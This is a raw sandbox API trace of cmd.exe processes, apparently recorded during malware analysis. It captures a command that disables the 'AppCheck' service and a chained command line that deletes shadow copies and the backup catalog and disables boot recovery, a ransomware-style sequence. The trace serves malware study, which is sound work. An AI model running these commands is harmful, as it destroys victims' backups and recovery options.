_wcsicmp (_String1="sc", _String2="SET") returned -2 [0066.355] _wcsicmp (_String1="sc", _String2="PAUSE") returned 3 [0066.355] _wcsicmp (_String1="sc", _String2="DATE") returned 15 [0066.355] _wcsicmp (_String1="sc", _String2="TIME") returned -1 [0066.355] _wcsicmp (_String1="sc", _String2="PROMPT") returned 3 [0066.355] _wcsicmp (_String1="sc", _String2="MD") returned 6 [0066.355] _wcsicmp (_String1="sc", _String2="MKDIR") returned 6 [0066.355] _wcsicmp (_String1="sc", _String2="RD") returned 1 [0066.355] _wcsicmp (_String1="sc", _String2="RMDIR") returned 1 [0066.355] _wcsicmp (_String1="sc", _String2="PATH") returned 3 [0066.355] _wcsicmp (_String1="sc", _String2="GOTO") returned 12 [0066.355] _wcsicmp (_String1="sc", _String2="SHIFT") returned -5 [0066.355] _wcsicmp (_String1="sc", _String2="CLS") returned 16 [0066.355] _wcsicmp (_String1="sc", _String2="CALL") returned 16 [0066.355] _wcsicmp (_String1="sc", _String2="VERIFY") returned -3 [0066.355] _wcsicmp (_String1="sc", _String2="VER") returned -3 [0066.355] _wcsicmp (_String1="sc", _String2="VOL") returned -3 [0066.355] _wcsicmp (_String1="sc", _String2="EXIT") returned 14 [0066.355] _wcsicmp (_String1="sc", _String2="SETLOCAL") returned -2 [0066.355] _wcsicmp (_String1="sc", _String2="ENDLOCAL") returned 14 [0066.355] _wcsicmp (_String1="sc", _String2="TITLE") returned -1 [0066.355] _wcsicmp (_String1="sc", _String2="START") returned -17 [0066.355] _wcsicmp (_String1="sc", _String2="DPATH") returned 15 [0066.355] _wcsicmp (_String1="sc", _String2="KEYS") returned 8 [0066.355] _wcsicmp (_String1="sc", _String2="MOVE") returned 6 [0066.355] _wcsicmp (_String1="sc", _String2="PUSHD") returned 3 [0066.355] _wcsicmp (_String1="sc", _String2="POPD") returned 3 [0066.356] _wcsicmp (_String1="sc", _String2="ASSOC") returned 18 [0066.356] _wcsicmp (_String1="sc", _String2="FTYPE") returned 13 [0066.356] _wcsicmp (_String1="sc", _String2="BREAK") returned 17 [0066.356] _wcsicmp (_String1="sc", _String2="COLOR") returned 16 [0066.356] _wcsicmp (_String1="sc", _String2="MKLINK") returned 6 [0066.356] _wcsicmp (_String1="sc", _String2="FOR") returned 13 [0066.356] _wcsicmp (_String1="sc", _String2="IF") returned 10 [0066.356] _wcsicmp (_String1="sc", _String2="REM") returned 1 [0066.356] GetProcessHeap () returned 0x500000 [0066.356] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x210) returned 0x512e68 [0066.356] GetProcessHeap () returned 0x500000 [0066.356] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x52) returned 0x513080 [0066.356] _wcsnicmp (_String1="sc", _String2="cmd ", _MaxCount=0x4) returned 16 [0066.356] GetProcessHeap () returned 0x500000 [0066.356] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x418) returned 0x5130e0 [0066.356] SetErrorMode (uMode=0x0) returned 0x0 [0066.356] SetErrorMode (uMode=0x1) returned 0x0 [0066.357] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x5130e8, lpFilePart=0x3af540 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x3af540*="Desktop") returned 0x25 [0066.357] SetErrorMode (uMode=0x0) returned 0x1 [0066.357] GetProcessHeap () returned 0x500000 [0066.357] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x5130e0, Size=0x5a) returned 0x5130e0 [0066.357] GetProcessHeap () returned 0x500000 [0066.357] RtlSizeHeap (HeapHandle=0x500000, Flags=0x0, MemoryPointer=0x5130e0) returned 0x5a [0066.357] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab00640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0066.357] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0066.357] GetProcessHeap () returned 0x500000 [0066.357] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x120) returned 0x513148 [0066.357] GetProcessHeap () returned 0x500000 [0066.357] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x238) returned 0x513270 [0066.418] GetProcessHeap () returned 0x500000 [0066.418] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x513270, Size=0x122) returned 0x513270 [0066.418] GetProcessHeap () returned 0x500000 [0066.418] RtlSizeHeap (HeapHandle=0x500000, Flags=0x0, MemoryPointer=0x513270) returned 0x122 [0066.418] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab00640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0066.418] GetProcessHeap () returned 0x500000 [0066.418] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0xe0) returned 0x5133a0 [0066.419] GetProcessHeap () returned 0x500000 [0066.419] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x5133a0, Size=0x76) returned 0x5133a0 [0066.420] GetProcessHeap () returned 0x500000 [0066.420] RtlSizeHeap (HeapHandle=0x500000, Flags=0x0, MemoryPointer=0x5133a0) returned 0x76 [0066.498] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0066.499] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x3af2bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3af2bc) returned 0xffffffff [0066.499] GetLastError () returned 0x2 [0066.499] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x3af2bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3af2bc) returned 0xffffffff [0066.499] GetLastError () returned 0x2 [0066.499] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0066.499] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x3af2bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3af2bc) returned 0x513420 [0066.499] GetProcessHeap () returned 0x500000 [0066.499] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x14) returned 0x513460 [0066.499] FindClose (in: hFindFile=0x513420 | out: hFindFile=0x513420) returned 1 [0066.500] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x3af2bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3af2bc) returned 0xffffffff [0066.500] GetLastError () returned 0x2 [0066.500] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x3af2bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3af2bc) returned 0x513420 [0066.500] GetProcessHeap () returned 0x500000 [0066.500] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x513460, Size=0x4) returned 0x513460 [0066.500] FindClose (in: hFindFile=0x513420 | out: hFindFile=0x513420) returned 1 [0066.501] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0066.501] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0066.501] GetConsoleTitleW (in: lpConsoleTitle=0x3af7b4, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0066.501] InitializeProcThreadAttributeList (in: lpAttributeList=0x3af63c, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x3af704 | out: lpAttributeList=0x3af63c, lpSize=0x3af704) returned 1 [0066.501] UpdateProcThreadAttribute (in: lpAttributeList=0x3af63c, dwFlags=0x0, Attribute=0x60001, lpValue=0x3af6fc, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x3af63c, lpPreviousValue=0x0) returned 1 [0066.501] GetStartupInfoW (in: lpStartupInfo=0x3af5f8 | out: lpStartupInfo=0x3af5f8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0066.501] GetProcessHeap () returned 0x500000 [0066.501] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x18) returned 0x513420 [0066.501] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0066.501] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0066.501] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0066.501] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0066.501] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0066.501] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0066.501] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0066.501] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0066.501] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0066.501] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0066.502] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0066.502] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0066.502] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0066.502] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0066.502] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0066.502] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0066.502] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0066.502] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.502] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.502] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.502] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.502] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.502] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.502] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.502] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.502] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.502] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0066.502] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0066.502] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0066.502] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0066.502] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0066.502] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0066.502] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0066.502] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0066.502] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0066.502] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0066.503] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0066.503] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0066.503] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0066.503] GetProcessHeap () returned 0x500000 [0066.503] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x513420 | out: hHeap=0x500000) returned 1 [0066.503] GetProcessHeap () returned 0x500000 [0066.503] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0xa) returned 0x510020 [0066.503] lstrcmpW (lpString1="\\sc.exe", lpString2="\\XCOPY.EXE") returned -1 [0066.504] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc config \"AppCheck\" start=disabled", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x3af698*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc config \"AppCheck\" start=disabled", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x3af6e4 | out: lpCommandLine="sc config \"AppCheck\" start=disabled", lpProcessInformation=0x3af6e4*(hProcess=0x78, hThread=0x74, dwProcessId=0x79c, dwThreadId=0x114)) returned 1 [0066.528] CloseHandle (hObject=0x74) returned 1 [0066.528] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0066.528] GetProcessHeap () returned 0x500000 [0066.528] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x514300 | out: hHeap=0x500000) returned 1 [0066.528] GetEnvironmentStringsW () returned 0x514300* [0066.528] GetProcessHeap () returned 0x500000 [0066.529] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0xb36) returned 0x517280 [0066.529] FreeEnvironmentStringsW (penv=0x514300) returned 1 [0066.529] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0 [0066.923] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x3af5d8 | out: lpExitCode=0x3af5d8*=0x667) returned 1 [0066.923] CloseHandle (hObject=0x78) returned 1 [0066.924] _vsnwprintf (in: _Buffer=0x3af720, _BufferCount=0x13, _Format="%08X", _ArgList=0x3af5e4 | out: _Buffer="00000667") returned 8 [0066.924] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000667") returned 1 [0066.924] GetProcessHeap () returned 0x500000 [0066.924] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x517280 | out: hHeap=0x500000) returned 1 [0066.924] GetEnvironmentStringsW () returned 0x517280* [0066.924] GetProcessHeap () returned 0x500000 [0066.924] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0xb5c) returned 0x517de8 [0066.924] FreeEnvironmentStringsW (penv=0x517280) returned 1 [0066.924] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0066.924] GetProcessHeap () returned 0x500000 [0066.924] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x517de8 | out: hHeap=0x500000) returned 1 [0066.924] GetEnvironmentStringsW () returned 0x517280* [0066.924] GetProcessHeap () returned 0x500000 [0066.924] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0xb5c) returned 0x517de8 [0066.924] FreeEnvironmentStringsW (penv=0x517280) returned 1 [0066.924] GetProcessHeap () returned 0x500000 [0066.924] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x510020 | out: hHeap=0x500000) returned 1 [0066.924] DeleteProcThreadAttributeList (in: lpAttributeList=0x3af63c | out: lpAttributeList=0x3af63c) [0066.925] _get_osfhandle (_FileHandle=1) returned 0x7 [0066.925] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0066.925] _get_osfhandle (_FileHandle=1) returned 0x7 [0066.925] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4aaf41ac | out: lpMode=0x4aaf41ac) returned 1 [0066.925] _get_osfhandle (_FileHandle=0) returned 0x3 [0066.925] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4aaf41b0 | out: lpMode=0x4aaf41b0) returned 1 [0066.925] SetConsoleInputExeNameW () returned 0x1 [0066.925] GetConsoleOutputCP () returned 0x1b5 [0066.925] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4aaf4260 | out: lpCPInfo=0x4aaf4260) returned 1 [0066.925] SetThreadUILanguage (LangId=0x0) returned 0x409 [0066.926] exit (_Code=1639) Process: id = "5" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x4a3f0000" os_pid = "0x1c0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xb7c" cmd_line = "\"C:\\Windows\\System32\\cmd.exe\" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 11 os_tid = 0x364 [0067.379] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x45fd54 | out: lpSystemTimeAsFileTime=0x45fd54*(dwLowDateTime=0x80a79e60, dwHighDateTime=0x1d60051)) [0067.379] GetCurrentProcessId () returned 0x1c0 [0067.380] GetCurrentThreadId () returned 0x364 [0067.380] GetTickCount () returned 0x1146fb4 [0067.380] QueryPerformanceCounter (in: lpPerformanceCount=0x45fd4c | out: lpPerformanceCount=0x45fd4c*=18718770747) returned 1 [0067.381] GetModuleHandleA (lpModuleName=0x0) returned 0x4aad0000 [0067.381] __set_app_type (_Type=0x1) [0067.381] __p__fmode () returned 0x770331f4 [0067.382] __p__commode () returned 0x770331fc [0067.382] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4aaf21a6) returned 0x0 [0067.382] __getmainargs (in: _Argc=0x4aaf4238, _Argv=0x4aaf4240, _Env=0x4aaf423c, _DoWildCard=0, _StartInfo=0x4aaf4140 | out: _Argc=0x4aaf4238, _Argv=0x4aaf4240, _Env=0x4aaf423c) returned 0 [0067.382] GetCurrentThreadId () returned 0x364 [0067.382] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x364) returned 0x60 [0067.382] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0067.383] GetProcAddress (hModule=0x76d30000, lpProcName="SetThreadUILanguage") returned 0x76d5a84f [0067.383] SetThreadUILanguage (LangId=0x0) returned 0x409 [0067.383] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0067.383] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x45fce4 | out: phkResult=0x45fce4*=0x0) returned 0x2 [0067.383] VirtualQuery (in: lpAddress=0x45fd1b, lpBuffer=0x45fcb4, dwLength=0x1c | out: lpBuffer=0x45fcb4*(BaseAddress=0x45f000, AllocationBase=0x360000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0067.383] VirtualQuery (in: lpAddress=0x360000, lpBuffer=0x45fcb4, dwLength=0x1c | out: lpBuffer=0x45fcb4*(BaseAddress=0x360000, AllocationBase=0x360000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0067.383] VirtualQuery (in: lpAddress=0x361000, lpBuffer=0x45fcb4, dwLength=0x1c | out: lpBuffer=0x45fcb4*(BaseAddress=0x361000, AllocationBase=0x360000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0067.383] VirtualQuery (in: lpAddress=0x363000, lpBuffer=0x45fcb4, dwLength=0x1c | out: lpBuffer=0x45fcb4*(BaseAddress=0x363000, AllocationBase=0x360000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0067.383] VirtualQuery (in: lpAddress=0x460000, lpBuffer=0x45fcb4, dwLength=0x1c | out: lpBuffer=0x45fcb4*(BaseAddress=0x460000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xa0000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0067.383] GetConsoleOutputCP () returned 0x1b5 [0067.384] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4aaf4260 | out: lpCPInfo=0x4aaf4260) returned 1 [0067.384] SetConsoleCtrlHandler (HandlerRoutine=0x4aaee72a, Add=1) returned 1 [0067.384] _get_osfhandle (_FileHandle=1) returned 0x7 [0067.384] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0067.384] _get_osfhandle (_FileHandle=1) returned 0x7 [0067.384] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4aaf41ac | out: lpMode=0x4aaf41ac) returned 1 [0067.384] _get_osfhandle (_FileHandle=1) returned 0x7 [0067.384] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0067.384] _get_osfhandle (_FileHandle=0) returned 0x3 [0067.385] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4aaf41b0 | out: lpMode=0x4aaf41b0) returned 1 [0067.385] _get_osfhandle (_FileHandle=0) returned 0x3 [0067.385] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0067.385] GetEnvironmentStringsW () returned 0x512310* [0067.385] GetProcessHeap () returned 0x500000 [0067.385] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0xb36) returned 0x512e50 [0067.385] FreeEnvironmentStringsW (penv=0x512310) returned 1 [0067.386] GetProcessHeap () returned 0x500000 [0067.386] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x4) returned 0x5119c0 [0067.386] GetEnvironmentStringsW () returned 0x512310* [0067.386] GetProcessHeap () returned 0x500000 [0067.386] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0xb36) returned 0x513990 [0067.386] FreeEnvironmentStringsW (penv=0x512310) returned 1 [0067.386] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x45ec54 | out: phkResult=0x45ec54*=0x68) returned 0x0 [0067.386] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x45ec5c, lpData=0x45ec60, lpcbData=0x45ec58*=0x1000 | out: lpType=0x45ec5c*=0x0, lpData=0x45ec60*=0x0, lpcbData=0x45ec58*=0x1000) returned 0x2 [0067.386] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x45ec5c, lpData=0x45ec60, lpcbData=0x45ec58*=0x1000 | out: lpType=0x45ec5c*=0x4, lpData=0x45ec60*=0x1, lpcbData=0x45ec58*=0x4) returned 0x0 [0067.386] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x45ec5c, lpData=0x45ec60, lpcbData=0x45ec58*=0x1000 | out: lpType=0x45ec5c*=0x0, lpData=0x45ec60*=0x1, lpcbData=0x45ec58*=0x1000) returned 0x2 [0067.386] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x45ec5c, lpData=0x45ec60, lpcbData=0x45ec58*=0x1000 | out: lpType=0x45ec5c*=0x4, lpData=0x45ec60*=0x0, lpcbData=0x45ec58*=0x4) returned 0x0 [0067.386] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x45ec5c, lpData=0x45ec60, lpcbData=0x45ec58*=0x1000 | out: lpType=0x45ec5c*=0x4, lpData=0x45ec60*=0x40, lpcbData=0x45ec58*=0x4) returned 0x0 [0067.387] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x45ec5c, lpData=0x45ec60, lpcbData=0x45ec58*=0x1000 | out: lpType=0x45ec5c*=0x4, lpData=0x45ec60*=0x40, lpcbData=0x45ec58*=0x4) returned 0x0 [0067.387] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x45ec5c, lpData=0x45ec60, lpcbData=0x45ec58*=0x1000 | out: lpType=0x45ec5c*=0x0, lpData=0x45ec60*=0x40, lpcbData=0x45ec58*=0x1000) returned 0x2 [0067.387] RegCloseKey (hKey=0x68) returned 0x0 [0067.387] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x45ec54 | out: phkResult=0x45ec54*=0x68) returned 0x0 [0067.387] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x45ec5c, lpData=0x45ec60, lpcbData=0x45ec58*=0x1000 | out: lpType=0x45ec5c*=0x0, lpData=0x45ec60*=0x40, lpcbData=0x45ec58*=0x1000) returned 0x2 [0067.387] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x45ec5c, lpData=0x45ec60, lpcbData=0x45ec58*=0x1000 | out: lpType=0x45ec5c*=0x4, lpData=0x45ec60*=0x1, lpcbData=0x45ec58*=0x4) returned 0x0 [0067.387] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x45ec5c, lpData=0x45ec60, lpcbData=0x45ec58*=0x1000 | out: lpType=0x45ec5c*=0x0, lpData=0x45ec60*=0x1, lpcbData=0x45ec58*=0x1000) returned 0x2 [0067.387] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x45ec5c, lpData=0x45ec60, lpcbData=0x45ec58*=0x1000 | out: lpType=0x45ec5c*=0x4, lpData=0x45ec60*=0x0, lpcbData=0x45ec58*=0x4) returned 0x0 [0067.387] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x45ec5c, lpData=0x45ec60, lpcbData=0x45ec58*=0x1000 | out: lpType=0x45ec5c*=0x4, lpData=0x45ec60*=0x9, lpcbData=0x45ec58*=0x4) returned 0x0 [0067.387] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x45ec5c, lpData=0x45ec60, lpcbData=0x45ec58*=0x1000 | out: lpType=0x45ec5c*=0x4, lpData=0x45ec60*=0x9, lpcbData=0x45ec58*=0x4) returned 0x0 [0067.387] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x45ec5c, lpData=0x45ec60, lpcbData=0x45ec58*=0x1000 | out: lpType=0x45ec5c*=0x0, lpData=0x45ec60*=0x9, lpcbData=0x45ec58*=0x1000) returned 0x2 [0067.387] RegCloseKey (hKey=0x68) returned 0x0 [0067.388] time (in: timer=0x0 | out: timer=0x0) returned 0x5e776e3e [0067.388] srand (_Seed=0x5e776e3e) [0067.388] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet" [0067.388] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet" [0067.388] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4aaf5260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 